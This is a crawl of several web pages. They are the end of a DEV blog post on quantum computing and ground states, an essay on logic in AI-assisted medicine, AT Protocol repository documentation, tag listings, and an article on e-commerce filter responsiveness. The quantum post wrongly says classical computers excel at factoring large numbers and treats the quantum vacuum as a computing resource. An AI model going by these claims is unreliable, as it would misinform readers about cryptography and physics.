tremendously from quantum techniques. Modern cryptography largely depends on the difficulty of factoring large numbers—a task at which classical computers already excel in making secure communications with current technology. However, quantum algorithms like Shor’s algorithm promise to crack these cryptographic codes by reducing computational complexity drastically. While this presents a looming threat to existing encryption methods, it simultaneously paves the way for developing new quantum-resistant protocols, ensuring that secure communication can continue in an increasingly digital and interconnected world. Diving deeper into the mechanics of quantum systems, it becomes clear that the quantum vacuum isn’t empty at all, but teems with fluctuations and transient particles. These tiny disturbances—even in seemingly void space—are a vivid reminder that the universe operates on a spectrum of continuously shifting energy levels. Quantum computing seeks to harness this seemingly chaotic environment by steering systems toward configurations that are both predictable and functional. Scientists achieve this by meticulously designing experimental setups where external influences are minimized, while the natural tendencies of particles to settle into their ground states are encouraged. The engineering challenges here are considerable. Devices must operate in ultra-low temperature environments created by sophisticated dilution refrigerators, while entire laboratories are isolated from vibrations, electromagnetic interference, and other unwanted disturbances. Each qubit’s environment is carefully controlled down to minute details so that once the system cools into the ground state, it remains stable long enough for calculations to occur. This marriage of advanced cryogenics, precision engineering, and quantum mechanics embodies one of the great engineering feats of our time. Furthermore, the conceptual foundation of using minimal energy states extends beyond mere stability—it also opens the door to error correction strategies essential for scaling up quantum computers. Quantum error correction exploits the indistinct boundaries between quantum states. When qubits are in their lowest energy state, they are less prone to random transitions that cause computation errors. Researchers build error correction algorithms that take advantage of this low-energy configuration, creating redundant pathways that help identify and correct mistakes before they propagate through the computation. This level of fault tolerance is vital for transitioning from experimental quantum machines to commercially viable devices that can solve real-world problems. Perhaps one of the most fascinating aspects is how quantum mechanics challenges our traditional understanding of reality. In classical physics, objects have well-defined positions and velocities. In the quantum domain, however, particles can occupy multiple energy states simultaneously until measured. This counterintuitive behavior is not a bug, but the very essence of what gives quantum computing its power. Instead of being hampered by uncertainty, quantum systems leverage it to explore many computational pathways at once, dramatically accelerating the problem-solving process. This principle is frequently illustrated in thought experiments like Schrödinger’s cat, which underlines the surreal interplay between observation, measurement, and reality. In summary, the pursuit of the lowest energy state in quantum computing is more than a technical necessity—it is a doorway into a deeper understanding of nature. By aligning their research with the natural inclinations of subatomic particles, scientists unlock new potentials in simulation, optimization, and security that promise to redefine industries and solve long-standing challenges. The quantum vacuum, far from being a barren void, is a vibrant source of computational power waiting to be harnessed through careful manipulation and advanced engineering. As we continue to refine these technologies, the quantum revolution is poised to transform not just the field of computing, but the very fabric of scientific inquiry and practical problem-solving. Researchers and industry leaders around the globe are building upon these principles with the hope that one day, stable, error-corrected quantum processors will tackle problems from climate modeling to complex financial systems, ushering in an era of unprecedented innovation. The interplay between ultra-low energy states and the wild fluidity of the quantum world stands as a testament to human ingenuity—a bridge between the abstract and the tangible that promises to reshape our understanding of what is computationally possible. 🔗 Originally published on does.center 👉 https://blog.does.center/blogpost?slug=quantum-computing-minimal-energy-states Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Omer Dahan Follow Automation enthusiast and developer focused on workflow optimization and AI integration. Sharing insights about automation tools and best practices. Joined Dec 7, 2025 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Future — News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Future © 2025 - 2026. Stay on the cutting edge, and shape tomorrow Log in Create account | 2026-01-13T08:49:27 |
https://future.forem.com/thinking_healer/why-logic-still-matters-in-the-age-of-ai-1kac#comments | Why Logic Still Matters in the Age of AI - Future Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Future Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Thinking Healer Posted on Oct 18, 2025 Why Logic Still Matters in the Age of AI # ai # bolt Artificial intelligence can now diagnose faster than we ever could. But only logic — structured, sceptical, humane — can make sense of it. In medicine’s digital future, the rarest skill won’t be knowing more, but thinking better. 1. The Return of Logic We live in an era that celebrates data but neglects thought. Every heartbeat, lab value, and symptom becomes a data point, waiting to be absorbed by an algorithm. AI promises efficiency and predictive power — but at what cost to understanding? As Aristotle wrote in Posterior Analytics, “We think we know something only when we can explain why it cannot be otherwise.” That “why” is the essence of logic. AI systems, however, do not ask why — they compute “how often”. They trade causation for correlation, and in doing so, risk losing the very architecture of understanding. 2. The Two Logics: Computational and Cognitive AI’s logic is computational — it seeks coherence within data, not meaning within experience. Clinical reasoning, by contrast, operates within what philosophers call an epistemic ecology — a web of knowledge, uncertainty, and embodied judgement. As Immanuel Kant argued, the mind does not merely receive information; it organises it through prior concepts of reason. AI does not possess these a priori frameworks — it does not see a patient; it parses parameters. A neural network may predict pneumonia, but it cannot reflect on the patient’s story, the social context, or the moral weight of a decision. That realm belongs to what Hannah Arendt called the “activity of thinking” — not to reach certainty, but to sustain meaning. 3. The correlation is not causal. The clinical world runs on a principle that AI cannot intuit: what correlates is not always causal. As David Hume warned centuries ago, constant conjunction does not prove necessary connection. Machine learning thrives on conjunction — it finds patterns of co-occurrence, not the essence of causality. A system might correlate high CRP with infection, but it cannot discern whether inflammation is the cause, the consequence, or a bystander. Physicians must therefore become translators between two worlds: The probabilistic logic of machines and the causal logic of biology must be translated by physicians. Our reasoning bridges those domains with judgement — something no algorithm can simulate. 4. The Physician as a Logician of the Real Logic in medicine is not cold formalism — it is disciplined curiosity. To reason well is to navigate between premature certainty and paralysing doubt. René Descartes, the father of analytical reasoning, advised in Discourse on Method: “Divide each difficulty into as many parts as possible and necessary to resolve it.” Clinical reasoning follows this Cartesian rhythm: separate symptoms from signals, possibilities from probabilities, and noise from knowledge. Yet unlike Descartes’ mechanical certainty, the physician must also live with ambiguity. As Karl Popper later proposed, “All knowledge is provisional.” Thus, beneficial medicine is less about finding final truths and more about constantly testing, revising, and rethinking them. 5. Epistemic Humility and the Limits of Knowing In an age where machines claim precision, the physician’s virtue must be epistemic humility — a term echoed in the philosophy of Socrates, who declared, “I know that I know nothing.” To doubt wisely is not weakness — it is method. It protects us from the illusion of certainty that often accompanies algorithmic decision-making. Gödel’s incompleteness theorem mathematically proved that no logical system can be both consistent and complete. The same holds true in medicine: every diagnostic system has blind spots; every model is incomplete. Recognising that limitation is the first step toward true reasoning. 6. When Machines Appear Rational AI may appear rational, but it lacks intentionality — the capacity to direct thought toward meaning. Edmund Husserl, founder of phenomenology, emphasised that consciousness is always “about something”. AI’s “reasoning” is never about — it is within. It operates in patterns, not purposes. A model might predict a patient’s deterioration, but it does not comprehend the human stakes of that prediction. Machines optimise outcomes; humans weigh values. That moral dimension is what distinguishes rationality from computation. As Ludwig Wittgenstein noted in Philosophical Investigations, “The limits of my language mean the limits of my world.” AI’s world is limited to the language of data; medicine’s world is written in the language of life. 7. Medicine as Meaning-Making Medicine, at its heart, is not a data science but a meaning science. When a patient speaks, they narrate existence disrupted. The physician listens — not only to words, but to what Martin Heidegger called Being-in-the-world — the total context of their illness, identity, and hope. AI hears signals; the clinician hears significance. Logic is what keeps that hearing rational, not sentimental. It allows empathy to have structure and scepticism to have compassion. In this sense, Aristotle’s practical wisdom (phronesis) — the ability to deliberate well about what is good and necessary — remains medicine’s truest form of intelligence. 8. Why Logic Still Matters Because speed is not wisdom. Because prediction is not understanding. Because recognising patterns is not the same as grasping causes. Because data without doubt becomes dogma. AI will not replace physicians — but it will replace those who think like machines. The physician of the future must think like a philosopher, act like a scientist, and feel like a human. Logic is the bridge between algorithm and empathy, between precision and purpose. It reminds us that knowing is not enough; one must also understand. 9. The Thinking Healer’s Creed To reason without haste. To doubt without despair. To question even what seems certain. To remember that logic, like healing, is an act of compassion. In the age of artificial intelligence, logic does not belong to the past. It is the future’s conscience — the discipline that keeps intelligence human. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Thinking Healer Follow Thinking Healer | Where Medicine Meets Mind. A space for seekers & quiet minds exploring curiosity, reflection & perspective as tools for healing. Founded by Dr. Abhijeet Gajendra Shinde. Location indian Joined Oct 8, 2025 More from Thinking Healer Therapeutic Nihilism: The Dark Side of Evidence-Based Medicine # ai # medical Trust: The Invisible Architecture of Healing # ai Gödel’s Theorem Proves Why AI Medical Diagnosis Will Always Have Fatal Flaws # ai # medical # godels # bolt 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Future — News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Future © 2025 - 2026. Stay on the cutting edge, and shape tomorrow Log in Create account | 2026-01-13T08:49:27 |
https://atproto.com/guides/data-repos | Personal Data Repositories - AT Protocol Find something... K SDKs Blog GitHub English Português 日本語 한국어 API Documentation Support Home Introduction ATProto Ethos SDKs Glossary FAQ Building apps Quick start Cookbook ⧉ Distributed Systems Guides Overview Identity Data Repositories Schemas & Lexicon Lexicon Style Guide PDS Self-Hosting Going to production OAuth Introduction Permission Requests Account Migration Specs AT Protocol Data Model Lexicon Cryptography Accounts Repository Blobs Labels HTTP API (XRPC) OAuth Permissions Event Stream Sync DID Handle NSID TID Record Key URI Scheme Data Repositories A data repository is a collection of data published by a single user. Repositories are self-authenticating data structures, meaning each update is signed and can be verified by anyone. They are described in more depth in the Repository specification . Data Layout The content of a repository is laid out in a Merkle Search Tree (MST) which reduces the state to a single root hash. It can be visualized as the following layout: ┌────────────────┐ │ Commit │ (Signed Root) └───────┬────────┘ ↓ ┌────────────────┐ │ Tree Nodes │ └───────┬────────┘ ↓ ┌────────────────┐ │ Record │ └────────────────┘ Copy Copied! Every node is an IPLD object ( dag-cbor ) which is referenced by a CID hash. The arrows in the diagram above represent a CID reference. This layout is reflected in the AT URIs : Root | at://alice.com Collection | at://alice.com/app.bsky.feed.post Record | at://alice.com/app.bsky.feed.post/1234 Copy Copied! A “commit” to a data repository is simply a keypair signature over a Root node’s CID. Each mutation to the repository produces a new Commit node. Identifier Types Multiple types of identifiers are used within a Personal Data Repository. DIDs Decentralized IDs (DIDs) identify data repositories. They are broadly used as user IDs, but since every user has one data repository then a DID can be considered a reference to a data repository. The format of a DID varies by the “DID method” used but all DIDs ultimately resolve to a keypair and a list of service providers. This keypair can sign commits to the data repository. CIDs Content IDs (CIDs) identify content using a fingerprint hash. They are used throughout the repository to reference the objects (nodes) within it. When a node in the repository changes, its CID also changes. Parents which reference the node must then update their reference, which in turn changes the parent’s CID as well. This chains all the way to the Commit node, which is then signed. NSIDs Namespaced Identifiers (NSIDs) identify the Lexicon type for groups of records within a repository. rkey Record Keys ("rkeys") identify individual records within a collection in a given repository. The format is specified by the collection Lexicon, with some collections having only a single record with a key like "self", and other collections having many records, with keys using a base32-encoded timestamp called a Timestamp Identifier (TID). Previous Identity Next Schemas & Lexicon © Copyright 2026 . All rights reserved. Follow us on Bluesky Follow us on GitHub | 2026-01-13T08:49:27 |
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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Design Follow Hide More than just making things look nice... Create Post Older #design posts 4 5 6 7 8 9 10 11 12 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Console.log(Paper): Mengapa Developer & Startup Masih Butuh 'Physical Stack' di Era Digital Mightyblue Mightyblue Mightyblue Follow Nov 28 '25 Console.log(Paper): Mengapa Developer & Startup Masih Butuh 'Physical Stack' di Era Digital # branding # startup # design # career Comments Add Comment 3 min read Bring Your Own Laptop: Free Figma Advanced Course: Become a Figma Pro! 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Future Close # quantum Follow Hide Create Post Older #quantum posts 1 2 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Quantum Computing & Minimal Energy States: Unlocking Revolutionary Potential for Israeli Innovation Omer Dahan Omer Dahan Omer Dahan Follow Dec 13 '25 Quantum Computing & Minimal Energy States: Unlocking Revolutionary Potential for Israeli Innovation # energy # quantum # science Comments Add Comment 5 min read Technology advancements and latest news to close 2025 Jogendra Yaramchitti (Yogi) Jogendra Yaramchitti (Yogi) Jogendra Yaramchitti (Yogi) Follow Dec 30 '25 Technology advancements and latest news to close 2025 # ai # technology # quantum Comments Add Comment 4 min read Bipartisan Bill to Create a National Quantum Computing Cybersecurity Strategy Quantum News Quantum News Quantum News Follow Aug 12 '25 Bipartisan Bill to Create a National Quantum Computing Cybersecurity Strategy # quantum # security # science # privacy 3 reactions Comments Add Comment 1 min read Mathematicians credited with rescuing quantum computing Quantum News Quantum News Quantum News Follow Aug 7 '25 Mathematicians credited with rescuing quantum computing # science # quantum # nanotech # manufacturing Comments Add Comment 1 min read A Quantum Gravimeter for GPS Backup - An Australian ship navigated for six days using the device Quantum News Quantum News Quantum News Follow Aug 5 '25 A Quantum Gravimeter for GPS Backup - An Australian ship navigated for six days using the device # quantum # science # autonomy # iot Comments Add Comment 1 min read Bitter fight over 2020 Microsoft quantum paper both resolved and unresolved Quantum News Quantum News Quantum News Follow Aug 5 '25 Bitter fight over 2020 Microsoft quantum paper both resolved and unresolved # science # quantum # nanotech # manufacturing Comments Add Comment 1 min read How to Write Your First Program for a Quantum Computer Quantum News Quantum News Quantum News Follow Aug 5 '25 How to Write Your First Program for a Quantum Computer # quantum # science # education # ai Comments Add Comment 1 min read Bitter fight over 2020 Microsoft quantum paper continues Quantum News Quantum News Quantum News Follow Aug 5 '25 Bitter fight over 2020 Microsoft quantum paper continues # science # quantum # nanotech # manufacturing Comments Add Comment 1 min read China's SpinQ Targets 500-Qubit Milestone as Quantum Computing Nears Real-World Utility Quantum News Quantum News Quantum News Follow Jul 28 '25 China's SpinQ Targets 500-Qubit Milestone as Quantum Computing Nears Real-World Utility # quantum # science # nanotech # manufacturing Comments Add Comment 1 min read Australian Scientists Achieve Breakthrough in Scalable Quantum Control with CMOS-Spin Qubit Chip Quantum News Quantum News Quantum News Follow Jul 28 '25 Australian Scientists Achieve Breakthrough in Scalable Quantum Control with CMOS-Spin Qubit Chip # quantum # science # nanotech # manufacturing Comments Add Comment 1 min read EnSilica: Develops First of Its Kind Three-in-One CRYSTALS Post-Quantum Cryptography ASIC Quantum News Quantum News Quantum News Follow Jul 22 '25 EnSilica: Develops First of Its Kind Three-in-One CRYSTALS Post-Quantum Cryptography ASIC # quantum # crypto # security # privacy Comments Add Comment 1 min read China's SpinQ Targets 500-Qubit Milestone as Quantum Computing Nears Real-World Utility Quantum News Quantum News Quantum News Follow Jul 22 '25 China's SpinQ Targets 500-Qubit Milestone as Quantum Computing Nears Real-World Utility # quantum # science # education # nanotech Comments Add Comment 1 min read Quantinuum Claims Key Step Towards Scaling Up Quantum Computers. New advance demonstrates fault-tolerant gates. Quantum News Quantum News Quantum News Follow Jul 14 '25 Quantinuum Claims Key Step Towards Scaling Up Quantum Computers. New advance demonstrates fault-tolerant gates. # quantum # science # nanotech # manufacturing Comments Add Comment 1 min read Control of spin qubits at near absolute zero a game changer for quantum computers Quantum News Quantum News Quantum News Follow Jul 1 '25 Control of spin qubits at near absolute zero a game changer for quantum computers # quantum # science # nanotech # manufacturing Comments Add Comment 1 min read Microsoft claims to improve QEC by 1000x using new four-dimensional geometric codes Quantum News Quantum News Quantum News Follow Jun 22 '25 Microsoft claims to improve QEC by 1000x using new four-dimensional geometric codes # quantum Comments Add Comment 1 min read Microsoft lays out its path to useful quantum computing Quantum News Quantum News Quantum News Follow Jun 22 '25 Microsoft lays out its path to useful quantum computing # quantum Comments Add Comment 1 min read Microsoft advances quantum error correction with a family of novel four-dimensional codes Quantum News Quantum News Quantum News Follow Jun 20 '25 Microsoft advances quantum error correction with a family of novel four-dimensional codes # quantum Comments Add Comment 1 min read IBM aims to build the world's first large-scale, error-corrected quantum computer by 2028 Quantum News Quantum News Quantum News Follow Jun 16 '25 IBM aims to build the world's first large-scale, error-corrected quantum computer by 2028 # quantum Comments Add Comment 1 min read IBM aims to build the world's first large-scale, error-corrected quantum computer by 2028 Quantum News Quantum News Quantum News Follow Jun 16 '25 IBM aims to build the world's first large-scale, error-corrected quantum computer by 2028 # quantum Comments Add Comment 1 min read IBM aims to build the world's first large-scale, error-corrected quantum computer by 2028 Quantum News Quantum News Quantum News Follow Jun 13 '25 IBM aims to build the world's first large-scale, error-corrected quantum computer by 2028 # quantum Comments Add Comment 1 min read IBM aims to build the world's first large-scale, error-corrected quantum computer by 2028 Quantum News Quantum News Quantum News Follow Jun 11 '25 IBM aims to build the world's first large-scale, error-corrected quantum computer by 2028 # quantum Comments Add Comment 1 min read IBM aims to build the world's first large-scale, error-corrected quantum computer by 2028 Quantum News Quantum News Quantum News Follow Jun 10 '25 IBM aims to build the world's first large-scale, error-corrected quantum computer by 2028 # quantum Comments Add Comment 1 min read IBM Cracks Code for Building Fault-Tolerant Quantum Computers Quantum News Quantum News Quantum News Follow Jun 10 '25 IBM Cracks Code for Building Fault-Tolerant Quantum Computers # quantum Comments Add Comment 1 min read Experimental quantum-enhanced kernel-based machine learning on a photonic processor Quantum News Quantum News Quantum News Follow Jun 10 '25 Experimental quantum-enhanced kernel-based machine learning on a photonic processor # quantum Comments Add Comment 1 min read Zurich Instruments and Rohde &amp; Schwarz to back the National Quantum Computing Testbed Facility in Australia Quantum News Quantum News Quantum News Follow May 26 '25 Zurich Instruments and Rohde &amp; Schwarz to back the National Quantum Computing Testbed Facility in Australia # quantum Comments Add Comment 1 min read loading... trending guides/resources Technology advancements and latest news to close 2025 Quantum Computing & Minimal Energy States: Unlocking Revolutionary Potential for Israeli Innovation 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Future — News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Design Follow Hide More than just making things look nice... Create Post Older #design posts 1 2 3 4 5 6 7 8 9 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu How Prateeksha Web Design Builds Trust on Your Website with Layout, Copy, and UX prateekshaweb prateekshaweb prateekshaweb Follow Dec 24 '25 How Prateeksha Web Design Builds Trust on Your Website with Layout, Copy, and UX # ux # writing # startup # design Comments Add Comment 3 min read Bringing Server Side Engineering Rigor to Swift Desktop Apps Tomer Ben David Tomer Ben David Tomer Ben David Follow Dec 22 '25 Bringing Server Side Engineering Rigor to Swift Desktop Apps # swift # softwareengineering # architecture # design Comments Add Comment 3 min read Most tools feel heavier than they need to be Siddharth Siddharth Siddharth Follow Dec 22 '25 Most tools feel heavier than they need to be # discuss # ux # design # productivity Comments Add Comment 1 min read Fitness App Onboarding Guide: Data, Motivation & Completion paywallpro paywallpro paywallpro Follow Dec 22 '25 Fitness App Onboarding Guide: Data, Motivation & Completion # ios # mobile # design # uidesign Comments Add Comment 6 min read The UX of DX: Identifying the Key Areas for Designer Participation in Developer Experience Projects Pavanipriya Sajja Pavanipriya Sajja Pavanipriya Sajja Follow Dec 21 '25 The UX of DX: Identifying the Key Areas for Designer Participation in Developer Experience Projects # ux # tooling # design # productivity Comments Add Comment 3 min read Arc-Fault Protection in PV: Practical Notes for 1000V/1500V Strings wxc5937-beep wxc5937-beep wxc5937-beep Follow Dec 22 '25 Arc-Fault Protection in PV: Practical Notes for 1000V/1500V Strings # design # learning # science Comments Add Comment 1 min read 2025 Industry Review: Why Vertical AI Solutions Are Overtaking General Models in Architectural Design FutureForm Lab FutureForm Lab FutureForm Lab Follow Dec 19 '25 2025 Industry Review: Why Vertical AI Solutions Are Overtaking General Models in Architectural Design # architecture # ai # design Comments Add Comment 8 min read What Developers Get Wrong About Name Generators Ameer Hamza Ameer Hamza Ameer Hamza Follow Dec 24 '25 What Developers Get Wrong About Name Generators # discuss # design # ux Comments Add Comment 2 min read Solar PCBs for Engineers: A Practical Guide to Designing and Building Boards That Survive the Outdoors Fen Liu Fen Liu Fen Liu Follow Dec 19 '25 Solar PCBs for Engineers: A Practical Guide to Designing and Building Boards That Survive the Outdoors # design # iot # tutorial 1 reaction Comments 1 comment 3 min read Our UI Is Fine — So Why Does It Feel Bad? Shashwat Pritish Shashwat Pritish Shashwat Pritish Follow Dec 19 '25 Our UI Is Fine — So Why Does It Feel Bad? # design # ui # ux Comments Add Comment 1 min read Supercapacitor Innovation with Graphene Aerogel & Carbon Fiber Andres Avila Andres Avila Andres Avila Follow Dec 19 '25 Supercapacitor Innovation with Graphene Aerogel & Carbon Fiber # techtalks # design # community # google Comments Add Comment 2 min read How Tools Use 60-Second Onboarding to Boost Conversion paywallpro paywallpro paywallpro Follow Dec 19 '25 How Tools Use 60-Second Onboarding to Boost Conversion # ios # mobile # design # developer Comments Add Comment 6 min read Design systems that scale: the case for composability Paul Love Paul Love Paul Love Follow for Measured Dec 18 '25 Design systems that scale: the case for composability # webdev # architecture # design # frontend Comments Add Comment 6 min read Choosing the Right Keyboard Case: Ceramic or Metal? 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Master the "Tell, Don't Ask" Principle # architecture # design # programming 1 reaction Comments Add Comment 2 min read Designing High-Converting Landing Pages for Single Product Stores prateekshaweb prateekshaweb prateekshaweb Follow Dec 18 '25 Designing High-Converting Landing Pages for Single Product Stores # design # marketing # ux Comments Add Comment 3 min read Adapter Philosophy rokoss21 rokoss21 rokoss21 Follow Dec 16 '25 Adapter Philosophy # architecture # design # systemdesign Comments Add Comment 2 min read UX/UI in 2026: Why Beautiful Design No Longer Guarantees Success Max Bantsevich Max Bantsevich Max Bantsevich Follow for dev.family Dec 17 '25 UX/UI in 2026: Why Beautiful Design No Longer Guarantees Success # ux # design # webdev # ai Comments Add Comment 5 min read The "Quick Question" That Tells Me Everything Tanya Donska Tanya Donska Tanya Donska Follow Dec 22 '25 The "Quick Question" That Tells Me Everything # design # freelancing # resources # webdesign Comments Add Comment 5 min read Clean Architecture Design Flow: A Practical Guide to Diagrams That Actually Help Shuwen Shuwen Shuwen Follow Dec 20 '25 Clean Architecture Design Flow: A Practical Guide to Diagrams That Actually Help # architecture # design # softwareengineering 1 reaction Comments Add Comment 4 min read Readable, Leakproof API with zero cost abstraction. Akhilesh Mishra Akhilesh Mishra Akhilesh Mishra Follow Dec 16 '25 Readable, Leakproof API with zero cost abstraction. # design # backend # api # architecture Comments Add Comment 5 min read Event-Driven Architecture Part 2: Event Streaming and Pub/Sub Patterns Outdated Dev Outdated Dev Outdated Dev Follow Dec 17 '25 Event-Driven Architecture Part 2: Event Streaming and Pub/Sub Patterns # eventdriven # architecture # microservices # design 1 reaction Comments Add Comment 7 min read Best-Looking Paywalls Collection: 14 High-Conversion UI Templates paywallpro paywallpro paywallpro Follow Dec 15 '25 Best-Looking Paywalls Collection: 14 High-Conversion UI Templates # ios # mobile # design # ui Comments Add Comment 5 min read How to Design Your First API with RAML (Without Losing Your Mind!) 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https://dev.to/ar_abid_641aa302d5c68b2ae/why-your-e-commerce-filters-feel-slow-even-when-your-site-is-fast-4a57#why-debouncing-alone-does-not-fix-it | Why Your E Commerce Filters Feel Slow Even When Your Site Is Fast - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse ar abid Posted on Jan 13 Why Your E Commerce Filters Feel Slow Even When Your Site Is Fast # webdev # frontend # ecommerce # ux Many e commerce sites load quickly. Product pages appear almost instantly. Images are optimized. Performance scores look healthy. Yet the moment users start filtering products, everything feels slow. This is one of the most common performance complaints in modern e commerce, and it is also one of the most misunderstood. Filters Are an Interaction Problem Not a Loading Problem Filtering is not a page load. It is an interaction loop. Users expect filters to feel instant because they are exploratory actions. When filters lag, users lose momentum and patience. Even a short delay after clicking a filter checkbox can feel broken. What Users Expect From Filters From a user point of view filtering should behave like this. Click a filter See results change immediately Continue browsing Users do not expect a full reload. They do not expect spinners. They do not expect hesitation. When filters feel slow, users often stop using them entirely or leave the site. What Actually Happens When Filters Are Applied Behind the scenes filtering often triggers heavy work. Query parameters change API requests are sent Large result sets are processed State updates trigger re renders Analytics events fire Many systems treat filtering as a mini page load instead of a lightweight interaction. This creates unnecessary delays. Why Fast Pages Still Have Slow Filters A site can load fast and still have slow filters because filters stress different parts of the stack. They stress JavaScript execution They stress rendering performance They stress network latency They stress state management None of this is reflected clearly in traditional page speed metrics. The Hidden Cost of Over Fetching Many filtering systems request full product lists every time a filter changes. This means: Large payloads Repeated network requests Unnecessary parsing work The UI waits while data it does not fully need is processed. Rendering Is Often the Real Bottleneck Even when API responses are fast, rendering filtered results can be slow. Large product grids Complex card components Images reflowing layouts Every filter change can trigger dozens or hundreds of component updates. This makes the interface feel sluggish even on fast connections. Why Debouncing Alone Does Not Fix It Debouncing filter requests helps reduce network traffic but does not solve perceived slowness. Users still experience a pause between action and feedback. Debouncing improves efficiency but not responsiveness. What High Performance Filtering Feels Like High performing e commerce filters follow one key principle. The interface responds first. Data catches up second. Users should always see immediate visual feedback that their action was registered. Immediate Feedback Matters More Than Accuracy Good filtering systems show feedback instantly. Checkbox states update immediately Active filters appear instantly Skeleton loaders or placeholders appear Even if the data update takes time, the user feels in control. Progressive Results Improve Perception Instead of waiting for all results to load, progressive rendering helps. Show partial results quickly Update the grid incrementally Avoid blank states Progress builds trust and keeps users engaged. Caching Makes Filters Feel Instant Many filter combinations repeat across users. Caching filtered results at the edge or application layer allows: Instant responses Reduced backend load Smoother interactions Smart caching turns filters into a near instant experience. A Real World Example On a production e commerce platform, shopperdot , users frequently applied multiple filters while browsing categories. Page load speed was not an issue. The problem appeared during rapid filter changes where the UI hesitated between actions. By prioritizing immediate UI feedback, caching common filter responses, and reducing unnecessary re renders, the filtering experience felt dramatically faster without changing the backend infrastructure. Why Mobile Users Feel This More Filtering issues are amplified on mobile. Slower CPUs Less memory More layout recalculations A filter delay that feels acceptable on desktop can feel frustrating on mobile. This makes filter performance a critical mobile conversion factor. Measuring Filter Performance Correctly Instead of measuring request time alone, measure: Time from filter click to UI feedback Time until first visible result update Dropped interactions during filtering These metrics reveal friction that traditional tools miss. Common Mistakes to Avoid Treating filters like full page loads Blocking UI updates until data arrives Re rendering entire grids unnecessarily Ignoring mobile performance constraints Each of these increases perceived slowness. Filters Are a Discovery Tool Not a Transaction Filtering is exploratory. Users are browsing, comparing, and narrowing options. Any friction here disrupts discovery and reduces engagement. Fast filters encourage exploration. Slow filters discourage it. Final Thoughts If users say your site feels slow, watch them use filters. Chances are the problem is not loading speed but interaction design. Fixing filters often delivers bigger UX gains than optimizing the homepage again. Because in modern e commerce, discovery speed matters as much as page speed. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse ar abid Follow Joined Dec 4, 2025 More from ar abid The Buy Button Is the Slowest Part of Most E Commerce Sites # webdev # performance # frontend # ecommerce The Buy Button Is the Slowest Part of Most E Commerce Sites # webdev # performance # frontend # ecommerce Why Your E-commerce Site Is Slow (And How Developers Can Fix It) # webperf # frontend # developers # ecommerce 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of 